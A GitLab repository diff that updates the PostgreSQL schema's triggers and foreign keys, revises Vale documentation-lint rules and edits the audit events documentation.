CREATE UNIQUE INDEX work_item_types_namespace_id_and_name_unique ON work_item_types USING btree (namespace_id, btrim(lower(name)));
ALTER INDEX analytics_cycle_analytics_issue_stage_events_pkey ATTACH PARTITION gitlab_partitions_static.analytics_cycle_analytics_issue_stage_events_00_pkey;
@@ -27880,8 +28315,6 @@ ALTER INDEX index_issue_stage_events_project_duration ATTACH PARTITION gitlab_pa
ALTER INDEX index_merge_request_stage_events_project_duration ATTACH PARTITION gitlab_partitions_static.index_006f943df6;
-ALTER INDEX index_loose_foreign_keys_deleted_records_for_partitioned_query ATTACH PARTITION gitlab_partitions_static.index_01e3390fac;
-
ALTER INDEX index_merge_request_stage_events_project_duration ATTACH PARTITION gitlab_partitions_static.index_02749b504c;
ALTER INDEX index_merge_request_stage_events_group_duration ATTACH PARTITION gitlab_partitions_static.index_0287f5ba09;
@@ -28390,8 +28823,6 @@ ALTER INDEX index_issue_stage_events_project_duration ATTACH PARTITION gitlab_pa
ALTER INDEX index_issue_stage_events_group_in_progress_duration ATTACH PARTITION gitlab_partitions_static.index_ff8741d8d7;
-ALTER INDEX loose_foreign_keys_deleted_records_pkey ATTACH PARTITION gitlab_partitions_static.loose_foreign_keys_deleted_records_1_pkey;
-
ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx10;
ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx11;
@@ -28650,8 +29081,22 @@ ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_p
CREATE TRIGGER chat_names_loose_fk_trigger AFTER DELETE ON chat_names REFERENCING OLD TABLE AS old_table FOR EACH STATEMENT EXECUTE FUNCTION insert_into_loose_foreign_keys_deleted_records();
+CREATE TRIGGER ci_builds_loose_fk_trigger AFTER DELETE ON ci_builds REFERENCING OLD TABLE AS old_table FOR EACH STATEMENT EXECUTE FUNCTION insert_into_loose_foreign_keys_deleted_records();
+
+CREATE TRIGGER ci_job_artifacts_loose_fk_trigger AFTER DELETE ON ci_job_artifacts REFERENCING OLD TABLE AS old_table FOR EACH STATEMENT EXECUTE FUNCTION insert_into_loose_foreign_keys_deleted_records();
+
+CREATE TRIGGER ci_pipelines_loose_fk_trigger AFTER DELETE ON ci_pipelines REFERENCING OLD TABLE AS old_table FOR EACH STATEMENT EXECUTE FUNCTION insert_into_loose_foreign_keys_deleted_records();
+
CREATE TRIGGER ci_runners_loose_fk_trigger AFTER DELETE ON ci_runners REFERENCING OLD TABLE AS old_table FOR EACH STATEMENT EXECUTE FUNCTION insert_into_loose_foreign_keys_deleted_records();
+CREATE TRIGGER external_pull_requests_loose_fk_trigger AFTER DELETE ON external_pull_requests REFERENCING OLD TABLE AS old_table FOR EACH STATEMENT EXECUTE FUNCTION insert_into_loose_foreign_keys_deleted_records();
+
+CREATE TRIGGER merge_requests_loose_fk_trigger AFTER DELETE ON merge_requests REFERENCING OLD TABLE AS old_table FOR EACH STATEMENT EXECUTE FUNCTION insert_into_loose_foreign_keys_deleted_records();
+
+CREATE TRIGGER namespaces_loose_fk_trigger AFTER DELETE ON namespaces REFERENCING OLD TABLE AS old_table FOR EACH STATEMENT EXECUTE FUNCTION insert_into_loose_foreign_keys_deleted_records();
+
+CREATE TRIGGER projects_loose_fk_trigger AFTER DELETE ON projects REFERENCING OLD TABLE AS old_table FOR EACH STATEMENT EXECUTE FUNCTION insert_into_loose_foreign_keys_deleted_records();
+
CREATE TRIGGER trigger_delete_project_namespace_on_project_delete AFTER DELETE ON projects FOR EACH ROW WHEN ((old.project_namespace_id IS NOT NULL)) EXECUTE FUNCTION delete_associated_project_namespace();
CREATE TRIGGER trigger_has_external_issue_tracker_on_delete AFTER DELETE ON integrations FOR EACH ROW WHEN ((((old.category)::text = 'issue_tracker'::text) AND (old.active = true) AND (old.project_id IS NOT NULL))) EXECUTE FUNCTION set_has_external_issue_tracker();
@@ -28668,8 +29113,18 @@ CREATE TRIGGER trigger_has_external_wiki_on_type_new_updated AFTER UPDATE OF typ
CREATE TRIGGER trigger_has_external_wiki_on_update AFTER UPDATE ON integrations FOR EACH ROW WHEN (((new.type_new = 'Integrations::ExternalWiki'::text) AND (old.active <> new.active) AND (new.project_id IS NOT NULL))) EXECUTE FUNCTION set_has_external_wiki();
+CREATE TRIGGER trigger_namespaces_parent_id_on_insert AFTER INSERT ON namespaces FOR EACH ROW EXECUTE FUNCTION insert_namespaces_sync_event();
+
+CREATE TRIGGER trigger_namespaces_parent_id_on_update AFTER UPDATE ON namespaces FOR EACH ROW WHEN ((old.parent_id IS DISTINCT FROM new.parent_id)) EXECUTE FUNCTION insert_namespaces_sync_event();
+
+CREATE TRIGGER trigger_projects_parent_id_on_insert AFTER INSERT ON projects FOR EACH ROW EXECUTE FUNCTION insert_projects_sync_event();
+
+CREATE TRIGGER trigger_projects_parent_id_on_update AFTER UPDATE ON projects FOR EACH ROW WHEN ((old.namespace_id IS DISTINCT FROM new.namespace_id)) EXECUTE FUNCTION insert_projects_sync_event();
+
CREATE TRIGGER trigger_type_new_on_insert AFTER INSERT ON integrations FOR EACH ROW EXECUTE FUNCTION integrations_set_type_new();
+CREATE TRIGGER users_loose_fk_trigger AFTER DELETE ON users REFERENCING OLD TABLE AS old_table FOR EACH STATEMENT EXECUTE FUNCTION insert_into_loose_foreign_keys_deleted_records();
+
ALTER TABLE ONLY chat_names
ADD CONSTRAINT fk_00797a2bf9 FOREIGN KEY (service_id) REFERENCES integrations(id) ON DELETE CASCADE;
@@ -28679,9 +29134,6 @@ ALTER TABLE ONLY deployments
ALTER TABLE ONLY epics
ADD CONSTRAINT fk_013c9f36ca FOREIGN KEY (due_date_sourcing_epic_id) REFERENCES epics(id) ON DELETE SET NULL;
-ALTER TABLE ONLY clusters_applications_runners
- ADD CONSTRAINT fk_02de2ded36 FOREIGN KEY (runner_id) REFERENCES ci_runners(id) ON DELETE SET NULL;
-
ALTER TABLE ONLY incident_management_escalation_rules
ADD CONSTRAINT fk_0314ee86eb FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
@@ -28718,6 +29170,9 @@ ALTER TABLE ONLY lists
ALTER TABLE ONLY ci_unit_test_failures
ADD CONSTRAINT fk_0f09856e1f FOREIGN KEY (build_id) REFERENCES ci_builds(id) ON DELETE CASCADE;
+ALTER TABLE ONLY deployment_approvals
+ ADD CONSTRAINT fk_0f58311058 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY project_pages_metadata
ADD CONSTRAINT fk_0fd5b22688 FOREIGN KEY (pages_deployment_id) REFERENCES pages_deployments(id) ON DELETE SET NULL;
@@ -28745,6 +29200,12 @@ ALTER TABLE ONLY internal_ids
ALTER TABLE ONLY geo_event_log
ADD CONSTRAINT fk_176d3fbb5d FOREIGN KEY (job_artifact_deleted_event_id) REFERENCES geo_job_artifact_deleted_events(id) ON DELETE CASCADE;
+ALTER TABLE ONLY incident_management_timeline_events
+ ADD CONSTRAINT fk_17a5fafbd4 FOREIGN KEY (issue_id) REFERENCES issues(id) ON DELETE CASCADE;
+
+ALTER TABLE ONLY incident_management_timeline_events
+ ADD CONSTRAINT fk_1800597ef9 FOREIGN KEY (author_id) REFERENCES users(id) ON DELETE SET NULL;
+
ALTER TABLE ONLY project_features
ADD CONSTRAINT fk_18513d9b92 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
@@ -28796,6 +29257,9 @@ ALTER TABLE ONLY import_failures
ALTER TABLE ONLY project_ci_cd_settings
ADD CONSTRAINT fk_24c15d2f2e FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY agent_activity_events
+ ADD CONSTRAINT fk_256c631779 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE SET NULL;
+
ALTER TABLE ONLY epics
ADD CONSTRAINT fk_25b99c1be3 FOREIGN KEY (parent_id) REFERENCES epics(id) ON DELETE CASCADE;
@@ -28811,12 +29275,18 @@ ALTER TABLE ONLY geo_event_log
ALTER TABLE ONLY deployments
ADD CONSTRAINT fk_289bba3222 FOREIGN KEY (cluster_id) REFERENCES clusters(id) ON DELETE SET NULL;
+ALTER TABLE ONLY merge_requests_compliance_violations
+ ADD CONSTRAINT fk_290ec1ab02 FOREIGN KEY (merge_request_id) REFERENCES merge_requests(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY coverage_fuzzing_corpuses
ADD CONSTRAINT fk_29f6f15f82 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
ALTER TABLE ONLY agent_group_authorizations
ADD CONSTRAINT fk_2c9f941965 FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY deployment_approvals
+ ADD CONSTRAINT fk_2d060dfc73 FOREIGN KEY (deployment_id) REFERENCES deployments(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY ci_freeze_periods
ADD CONSTRAINT fk_2e02bbd1a6 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
@@ -28862,12 +29332,18 @@ ALTER TABLE ONLY sprints
ALTER TABLE ONLY push_event_payloads
ADD CONSTRAINT fk_36c74129da FOREIGN KEY (event_id) REFERENCES events(id) ON DELETE CASCADE;
+ALTER TABLE ONLY incident_management_timeline_events
+ ADD CONSTRAINT fk_38a74279df FOREIGN KEY (updated_by_user_id) REFERENCES users(id) ON DELETE SET NULL;
+
ALTER TABLE ONLY bulk_import_exports
ADD CONSTRAINT fk_39c726d3b5 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
ALTER TABLE ONLY ci_builds
ADD CONSTRAINT fk_3a9eaa254d FOREIGN KEY (stage_id) REFERENCES ci_stages(id) ON DELETE CASCADE;
+ALTER TABLE ONLY agent_activity_events
+ ADD CONSTRAINT fk_3af186389b FOREIGN KEY (merge_request_id) REFERENCES merge_requests(id) ON DELETE SET NULL;
+
ALTER TABLE ONLY issues
ADD CONSTRAINT fk_3b8c72ea56 FOREIGN KEY (sprint_id) REFERENCES sprints(id) ON DELETE SET NULL;
@@ -28886,6 +29362,9 @@ ALTER TABLE ONLY geo_event_log
ALTER TABLE ONLY remote_mirrors
ADD CONSTRAINT fk_43a9aa4ca8 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY incident_management_timeline_events
+ ADD CONSTRAINT fk_4432fc4d78 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY ci_runner_projects
ADD CONSTRAINT fk_4478a6f1e4 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
@@ -28898,6 +29377,9 @@ ALTER TABLE ONLY releases
ALTER TABLE ONLY geo_event_log
ADD CONSTRAINT fk_4a99ebfd60 FOREIGN KEY (repositories_changed_event_id) REFERENCES geo_repositories_changed_events(id) ON DELETE CASCADE;
+ALTER TABLE ONLY vulnerability_reads
+ ADD CONSTRAINT fk_5001652292 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY alert_management_alerts
ADD CONSTRAINT fk_51ab4b6089 FOREIGN KEY (prometheus_alert_id) REFERENCES prometheus_alerts(id) ON DELETE CASCADE;
@@ -28946,6 +29428,9 @@ ALTER TABLE ONLY dast_profile_schedules
ALTER TABLE ONLY events
ADD CONSTRAINT fk_61fbf6ca48 FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY vulnerability_reads
+ ADD CONSTRAINT fk_62736f638f FOREIGN KEY (vulnerability_id) REFERENCES vulnerabilities(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY merge_requests
ADD CONSTRAINT fk_641731faff FOREIGN KEY (updated_by_id) REFERENCES users(id) ON DELETE SET NULL;
@@ -29237,6 +29722,9 @@ ALTER TABLE ONLY vulnerabilities
ALTER TABLE ONLY project_access_tokens
ADD CONSTRAINT fk_b27801bfbf FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY vulnerability_reads
+ ADD CONSTRAINT fk_b28c28abf1 FOREIGN KEY (scanner_id) REFERENCES vulnerability_scanners(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY issues
ADD CONSTRAINT fk_b37be69be6 FOREIGN KEY (work_item_type_id) REFERENCES work_item_types(id);
@@ -29312,6 +29800,12 @@ ALTER TABLE ONLY geo_event_log
ALTER TABLE ONLY issues
ADD CONSTRAINT fk_c63cbf6c25 FOREIGN KEY (closed_by_id) REFERENCES users(id) ON DELETE SET NULL;
+ALTER TABLE ONLY agent_activity_events
+ ADD CONSTRAINT fk_c815368376 FOREIGN KEY (agent_id) REFERENCES cluster_agents(id) ON DELETE CASCADE;
+
+ALTER TABLE ONLY agent_activity_events
+ ADD CONSTRAINT fk_c8b006d40f FOREIGN KEY (agent_token_id) REFERENCES cluster_agent_tokens(id) ON DELETE SET NULL;
+
ALTER TABLE ONLY issue_links
ADD CONSTRAINT fk_c900194ff2 FOREIGN KEY (source_id) REFERENCES issues(id) ON DELETE CASCADE;
@@ -29363,9 +29857,15 @@ ALTER TABLE ONLY ci_sources_pipelines
ALTER TABLE ONLY geo_event_log
ADD CONSTRAINT fk_d5af95fcd9 FOREIGN KEY (lfs_object_deleted_event_id) REFERENCES geo_lfs_object_deleted_events(id) ON DELETE CASCADE;
+ALTER TABLE ONLY incident_management_timeline_events
+ ADD CONSTRAINT fk_d606a2a890 FOREIGN KEY (promoted_from_note_id) REFERENCES notes(id) ON DELETE SET NULL;
+
ALTER TABLE ONLY lists
ADD CONSTRAINT fk_d6cf4279f7 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY agent_activity_events
+ ADD CONSTRAINT fk_d6f785c9fc FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE SET NULL;
+
ALTER TABLE ONLY metrics_users_starred_dashboards
ADD CONSTRAINT fk_d76a2b9a8c FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
@@ -29453,6 +29953,9 @@ ALTER TABLE ONLY pages_domains
ALTER TABLE ONLY application_settings
ADD CONSTRAINT fk_ec757bd087 FOREIGN KEY (file_template_project_id) REFERENCES projects(id) ON DELETE SET NULL;
+ALTER TABLE ONLY merge_requests_compliance_violations
+ ADD CONSTRAINT fk_ec881c1c6f FOREIGN KEY (violating_user_id) REFERENCES users(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY events
ADD CONSTRAINT fk_edfd187b6f FOREIGN KEY (author_id) REFERENCES users(id) ON DELETE CASCADE;
@@ -29864,9 +30367,6 @@ ALTER TABLE ONLY container_repositories
ALTER TABLE ONLY clusters_applications_jupyter
ADD CONSTRAINT fk_rails_331f0aff78 FOREIGN KEY (oauth_application_id) REFERENCES oauth_applications(id) ON DELETE SET NULL;
-ALTER TABLE ONLY merge_request_metrics
- ADD CONSTRAINT fk_rails_33ae169d48 FOREIGN KEY (pipeline_id) REFERENCES ci_pipelines(id) ON DELETE CASCADE;
-
ALTER TABLE ONLY suggestions
ADD CONSTRAINT fk_rails_33b03a535c FOREIGN KEY (note_id) REFERENCES notes(id) ON DELETE CASCADE;
@@ -29948,6 +30448,9 @@ ALTER TABLE ONLY description_versions
ALTER TABLE ONLY clusters_kubernetes_namespaces
ADD CONSTRAINT fk_rails_40cc7ccbc3 FOREIGN KEY (cluster_project_id) REFERENCES cluster_projects(id) ON DELETE SET NULL;
+ALTER TABLE ONLY lfs_object_states
+ ADD CONSTRAINT fk_rails_4188448cd5 FOREIGN KEY (lfs_object_id) REFERENCES lfs_objects(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY geo_node_namespace_links
ADD CONSTRAINT fk_rails_41ff5fb854 FOREIGN KEY (namespace_id) REFERENCES namespaces(id) ON DELETE CASCADE;
@@ -30536,6 +31039,9 @@ ALTER TABLE ONLY gpg_keys
ALTER TABLE ONLY analytics_language_trend_repository_languages
ADD CONSTRAINT fk_rails_9d851d566c FOREIGN KEY (programming_language_id) REFERENCES programming_languages(id) ON DELETE CASCADE;
+ALTER TABLE ONLY namespaces_sync_events
+ ADD CONSTRAINT fk_rails_9da32a0431 FOREIGN KEY (namespace_id) REFERENCES namespaces(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY badges
ADD CONSTRAINT fk_rails_9df4a56538 FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
@@ -30710,6 +31216,9 @@ ALTER TABLE ONLY security_findings
ALTER TABLE ONLY packages_debian_project_component_files
ADD CONSTRAINT fk_rails_bbe9ebfbd9 FOREIGN KEY (component_id) REFERENCES packages_debian_project_components(id) ON DELETE RESTRICT;
+ALTER TABLE ONLY projects_sync_events
+ ADD CONSTRAINT fk_rails_bbf0eef59f FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY approval_merge_request_rules_users
ADD CONSTRAINT fk_rails_bc8972fa55 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
@@ -30764,9 +31273,6 @@ ALTER TABLE ONLY packages_nuget_dependency_link_metadata
ALTER TABLE ONLY group_deploy_keys_groups
ADD CONSTRAINT fk_rails_c3854f19f5 FOREIGN KEY (group_deploy_key_id) REFERENCES group_deploy_keys(id) ON DELETE CASCADE;
-ALTER TABLE ONLY pages_deployments
- ADD CONSTRAINT fk_rails_c3a90cf29b FOREIGN KEY (ci_build_id) REFERENCES ci_builds(id) ON DELETE SET NULL;
-
ALTER TABLE ONLY merge_request_user_mentions
ADD CONSTRAINT fk_rails_c440b9ea31 FOREIGN KEY (note_id) REFERENCES notes(id) ON DELETE CASCADE;
@@ -30839,6 +31345,9 @@ ALTER TABLE ONLY resource_iteration_events
ALTER TABLE ONLY vulnerability_finding_evidence_requests
ADD CONSTRAINT fk_rails_cf0f278cb0 FOREIGN KEY (vulnerability_finding_evidence_supporting_message_id) REFERENCES vulnerability_finding_evidence_supporting_messages(id) ON DELETE CASCADE;
+ALTER TABLE ONLY upload_states
+ ADD CONSTRAINT fk_rails_d00f153613 FOREIGN KEY (upload_id) REFERENCES uploads(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY epic_metrics
ADD CONSTRAINT fk_rails_d071904753 FOREIGN KEY (epic_id) REFERENCES epics(id) ON DELETE CASCADE;
@@ -30932,6 +31441,9 @@ ALTER TABLE ONLY packages_packages
ALTER TABLE ONLY cluster_platforms_kubernetes
ADD CONSTRAINT fk_rails_e1e2cf841a FOREIGN KEY (cluster_id) REFERENCES clusters(id) ON DELETE CASCADE;
+ALTER TABLE ONLY issue_emails
+ ADD CONSTRAINT fk_rails_e2ee00a8f7 FOREIGN KEY (issue_id) REFERENCES issues(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY vulnerability_finding_evidences
ADD CONSTRAINT fk_rails_e3205a0c65 FOREIGN KEY (vulnerability_occurrence_id) REFERENCES vulnerability_occurrences(id) ON DELETE CASCADE;
@@ -31130,6 +31642,9 @@ ALTER TABLE ONLY project_tracing_settings
ALTER TABLE ONLY resource_label_events
ADD CONSTRAINT fk_rails_fe91ece594 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE SET NULL;
+ALTER TABLE ONLY pages_deployment_states
+ ADD CONSTRAINT fk_rails_ff6ca551a4 FOREIGN KEY (pages_deployment_id) REFERENCES pages_deployments(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY ci_builds_metadata
ADD CONSTRAINT fk_rails_ffcf702a02 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
diff --git a/doc/.markdownlint/markdownlint-no-trailing-spaces.yml b/doc/.markdownlint/markdownlint-no-trailing-spaces.yml
index 71903ae423d..8720fbafcb3 100644
--- a/doc/.markdownlint/markdownlint-no-trailing-spaces.yml
+++ b/doc/.markdownlint/markdownlint-no-trailing-spaces.yml
@@ -1,4 +1,4 @@
---
# Extended Markdown configuration to enforce no-trailing-spaces rule
-"extends": "../../.markdownlint.yml"
-"no-trailing-spaces": true
+extends: "../../.markdownlint.yml"
+no-trailing-spaces: true
diff --git a/doc/.vale/gitlab/Acronyms.yml b/doc/.vale/gitlab/Acronyms.yml
deleted file mode 100644
index 23285fd0038..00000000000
--- a/doc/.vale/gitlab/Acronyms.yml
+++ /dev/null
@@ -1,202 +0,0 @@
----
-# Warning: gitlab.Acronyms
-#
-# Checks for unexpanded acronyms.
-#
-# For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles
-extends: conditional
-message: '"%s" has no definition.'
-link: https://about.gitlab.com/handbook/marketing/growth-marketing/content/editorial-team/#acronyms
-level: warning
-ignorecase: false
-# Ensures that the existence of 'first' implies the existence of 'second'.
-first: '\b([A-Z]{3,5})\b'
-second: '(?:\b[A-Z][a-z]+ )+\(([A-Z]{3,5})\)'
-# ... with the exception of these:
-exceptions:
- - AJAX
- - ANSI
- - API
- - APM
- - ARM
- - ARN
- - ASCII
- - AWS
- - BSD
- - CAS
- - CDN
- - CIDR
- - CLI
- - CNA
- - CNAME
- - CORE
- - CPU
- - CRIME
- - CSRF
- - CSS
- - CSV
- - CVE
- - CVS
- - DAG
- - DAST
- - DHCP
- - DNS
- - DOM
- - DSA
- - DSL
- - DVCS
- - ECDSA
- - ECS
- - EFS
- - EKS
- - ELB
- - EOL
- - EXIF
- - FAQ
- - FIFO
- - FIPS
- - FLAG
- - FOSS
- - FQDN
- - FREE
- - FTP
- - GCP
- - GDK
- - GDPR
- - GET
- - GID
- - GIF
- - GKE
- - GNU
- - GPG
- - GPL
- - GPU
- - GUI
- - HAML
- - HDD
- - HEAD
- - HIPAA
- - HLL
- - HTML
- - HTTP
- - HTTPS
- - IAM
- - IANA
- - IBM
- - IDE
- - IID
- - IMAP
- - IOPS
- - IRC
- - ISO
- - JPEG
- - JPG
- - JSON
- - JVM
- - JWT
- - LAN
- - LDAP
- - LDAPS
- - LESS
- - LFS
- - LRU
- - LTM
- - LTS
- - MIME
- - MIT
- - MVC
- - NAT
- - NDA
- - NFS
- - NGINX
- - NOTE
- - NPM
- - NTP
- - ONLY
- - OSS
- - OTP
- - OWASP
- - PAT
- - PCI-DSS
- - PDF
- - PEM
- - PEP
- - PGP
- - PID
- - PKCS
- - PHP
- - PNG
- - POSIX
- - POST
- - PUT
- - RAID
- - RAM
- - RBAC
- - RDP
- - RDS
- - REST
- - RFC
- - RHEL
- - RPC
- - RPM
- - RPS
- - RSA
- - RDS
- - RSS
- - RVM
- - SAAS
- - SAML
- - SAN
- - SAST
- - SATA
- - SCIM
- - SCP
- - SCSS
- - SDK
- - SELF
- - SEO
- - SFTP
- - SHA
- - SLA
- - SMS
- - SMTP
- - SOC
- - SOX
- - SPDX
- - SPF
- - SQL
- - SSD
- - SSG
- - SSH
- - SSL
- - SSO
- - SVG
- - SVN
- - TCP
- - TIFF
- - TIP
- - TLD
- - TLS
- - TODO
- - TOML
- - TTL
- - UID
- - UDP
- - UID
- - UNIX
- - URI
- - URL
- - USB
- - UTC
- - UTF
- - UUID
- - VCS
- - VPC
- - VPN
- - WIP
- - WSL
- - XML
- - XSS
- - YAML
- - ZAP
- - ZIP
diff --git a/doc/.vale/gitlab/Dropdown.yml b/doc/.vale/gitlab/Dropdown.yml
new file mode 100644
index 00000000000..691d44d1a48
--- /dev/null
+++ b/doc/.vale/gitlab/Dropdown.yml
@@ -0,0 +1,14 @@
+---
+# Suggestion: gitlab.Dropdown
+#
+# Catches many ways the phrase 'dropdown list' can be fumbled.
+#
+# For a list of all options, see https://errata-ai.github.io/vale/styles/
+extends: existence
+message: 'Use "dropdown list".'
+link: https://docs.gitlab.com/ee/development/documentation/styleguide/word_list.html#dropdown-list
+level: suggestion
+ignorecase: true
+tokens:
+ - drop-down( [\w]*)?
+ - dropdown(?! list)
diff --git a/doc/.vale/gitlab/ElementDescriptors.yml b/doc/.vale/gitlab/ElementDescriptors.yml
index 254da16d00c..36f1202aef1 100644
--- a/doc/.vale/gitlab/ElementDescriptors.yml
+++ b/doc/.vale/gitlab/ElementDescriptors.yml
@@ -10,5 +10,4 @@ link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html
level: suggestion
ignorecase: true
swap:
- button: 'if possible, rewrite to not use'
- area: 'use "section" instead of'
+ button: 'if possible, rewrite to remove'
diff --git a/doc/.vale/gitlab/SubstitutionWarning.yml b/doc/.vale/gitlab/SubstitutionWarning.yml
index 885b58cc937..fefc0f85cf4 100644
--- a/doc/.vale/gitlab/SubstitutionWarning.yml
+++ b/doc/.vale/gitlab/SubstitutionWarning.yml
@@ -21,6 +21,6 @@ swap:
repo: repository
timezone: time zone
utilize: use
- administrator access: the Administrator role
- administrator permission: the Administrator role
- administrator permissions: the Administrator role
+ administrator permission: the administrator access level
+ administrator permissions: the administrator access level
+ administrator role: the administrator access level
diff --git a/doc/.vale/gitlab/Uppercase.yml b/doc/.vale/gitlab/Uppercase.yml
new file mode 100644
index 00000000000..ae011748748
--- /dev/null
+++ b/doc/.vale/gitlab/Uppercase.yml
@@ -0,0 +1,202 @@
+---
+# Warning: gitlab.Uppercase
+#
+# Checks for use of all uppercase letters with unknown reason.
+#
+# For a list of all options, see https://docs.errata.ai/vale/styles.
+extends: conditional
+message: "'%s' is uppercase. Use lowercase or `backticks` if possible. Otherwise add this word to the rule's exception list."
+link: https://about.gitlab.com/handbook/marketing/growth-marketing/content/editorial-team/#acronyms
+level: warning
+ignorecase: false
+# Ensures that the existence of 'first' implies the existence of 'second'.
+first: '\b([A-Z]{3,5})\b'
+second: '(?:\b[A-Z][a-z]+ )+\(([A-Z]{3,5})\)'
+# ... with the exception of these:
+exceptions:
+ - AJAX
+ - ANSI
+ - API
+ - APM
+ - ARM
+ - ARN
+ - ASCII
+ - AWS
+ - BSD
+ - CAS
+ - CDN
+ - CIDR
+ - CLI
+ - CNA
+ - CNAME
+ - CORE
+ - CPU
+ - CRIME
+ - CSRF
+ - CSS
+ - CSV
+ - CVE
+ - CVS
+ - DAG
+ - DAST
+ - DHCP
+ - DNS
+ - DOM
+ - DSA
+ - DSL
+ - DVCS
+ - ECDSA
+ - ECS
+ - EFS
+ - EKS
+ - ELB
+ - EOL
+ - EXIF
+ - FAQ
+ - FIFO
+ - FIPS
+ - FLAG
+ - FOSS
+ - FQDN
+ - FREE
+ - FTP
+ - GCP
+ - GDK
+ - GDPR
+ - GET
+ - GID
+ - GIF
+ - GKE
+ - GNU
+ - GPG
+ - GPL
+ - GPU
+ - GUI
+ - HAML
+ - HDD
+ - HEAD
+ - HIPAA
+ - HLL
+ - HTML
+ - HTTP
+ - HTTPS
+ - IAM
+ - IANA
+ - IBM
+ - IDE
+ - IID
+ - IMAP
+ - IOPS
+ - IRC
+ - ISO
+ - JPEG
+ - JPG
+ - JSON
+ - JVM
+ - JWT
+ - LAN
+ - LDAP
+ - LDAPS
+ - LESS
+ - LFS
+ - LRU
+ - LTM
+ - LTS
+ - MIME
+ - MIT
+ - MVC
+ - NAT
+ - NDA
+ - NFS
+ - NGINX
+ - NOTE
+ - NPM
+ - NTP
+ - ONLY
+ - OSS
+ - OTP
+ - OWASP
+ - PAT
+ - PCI-DSS
+ - PDF
+ - PEM
+ - PEP
+ - PGP
+ - PID
+ - PKCS
+ - PHP
+ - PNG
+ - POSIX
+ - POST
+ - PUT
+ - RAID
+ - RAM
+ - RBAC
+ - RDP
+ - RDS
+ - REST
+ - RFC
+ - RHEL
+ - RPC
+ - RPM
+ - RPS
+ - RSA
+ - RDS
+ - RSS
+ - RVM
+ - SAAS
+ - SAML
+ - SAN
+ - SAST
+ - SATA
+ - SCIM
+ - SCP
+ - SCSS
+ - SDK
+ - SELF
+ - SEO
+ - SFTP
+ - SHA
+ - SLA
+ - SMS
+ - SMTP
+ - SOC
+ - SOX
+ - SPDX
+ - SPF
+ - SQL
+ - SSD
+ - SSG
+ - SSH
+ - SSL
+ - SSO
+ - SVG
+ - SVN
+ - TCP
+ - TIFF
+ - TIP
+ - TLD
+ - TLS
+ - TODO
+ - TOML
+ - TTL
+ - UID
+ - UDP
+ - UID
+ - UNIX
+ - URI
+ - URL
+ - USB
+ - UTC
+ - UTF
+ - UUID
+ - VCS
+ - VPC
+ - VPN
+ - WIP
+ - WSL
+ - XML
+ - XSS
+ - YAML
+ - ZAP
+ - ZIP
diff --git a/doc/.vale/gitlab/spelling-exceptions.txt b/doc/.vale/gitlab/spelling-exceptions.txt
index df228e61278..5ed8dc92249 100644
--- a/doc/.vale/gitlab/spelling-exceptions.txt
+++ b/doc/.vale/gitlab/spelling-exceptions.txt
@@ -128,7 +128,7 @@ crosslinked
crosslinking
crosslinks
Crossplane
-CrowdIn
+Crowdin
CSV
cybersecurity
Dangerfile
diff --git a/doc/administration/audit_events.md b/doc/administration/audit_events.md
index 2062016ef03..06ad16bbcba 100644
--- a/doc/administration/audit_events.md
+++ b/doc/administration/audit_events.md
@@ -9,8 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
GitLab offers a way to view the changes made within the GitLab server for owners and administrators
on a [paid plan](https://about.gitlab.com/pricing/).
-GitLab system administrators can also take advantage of the logs located on the
-file system. See [the logs system documentation](logs.md#audit_jsonlog) for more details.
+GitLab system administrators can also view all audit events by accessing the [`audit_json.log` file](logs.md#audit_jsonlog).
You can:
@@ -31,6 +30,11 @@ permission level, who added a new user, or who removed a user.
- Track which users have access to a certain group of projects
in GitLab, and who gave them that permission level.
+## Retention policy
+
+There is no retention policy in place for audit events.
